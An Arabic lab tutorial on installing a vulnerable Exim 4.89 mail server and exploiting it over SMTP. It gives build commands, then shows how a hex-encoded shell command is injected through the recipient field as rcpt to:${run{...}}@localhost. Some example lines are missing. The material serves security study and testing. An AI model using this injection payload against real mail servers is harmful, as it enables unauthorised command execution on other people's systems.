
تعليمات لتثبيت نسخة ضعيفة من Exim واستغلالها
تعليمات تثبيت إصدار ضعيف من Exim واستغلاله تم الاختبار على Linux Ubuntu 16.04، Exim 4.89
تنزيل واستخراج إصدار exim 4.89
الانتقال إلى المجلد المستخرج
نسخ وتعديل ملفات الإعدادات المطلوبة
sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
إنشاء مستخدم ومجموعة exim
sudo groupadd -g 31 exim
sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim
تثبيت التبعيات
تثبيت exim 4.89
تحرير /usr/exim/configure للسماح بالترحيل حتى نتمكن من الاستغلال دون انتظار 7 أيام
تشغيل exim كمستخدم exim
تحويل أمر الشل الخاص بك إلى ست عشري. مثال:
جدول مثال:
أولاً نستخدم nc لبدء اتصال بالخادم.
بمجرد الاتصال نقول HELO.
بعد ذلك، نضبط عنوان المرسل على فارغ.
ثم نضبط عنوان المستلم مع الحمولة التي أنشأناها سابقًا بإدخال الأمر المطلوب مكان النقاط في rcpt to:${run{...}}@localhost.
وأخيرًا، نكتب DATA أولاً، متبوعة بـ 31 سطرًا، وسطر فارغ، ونقطة.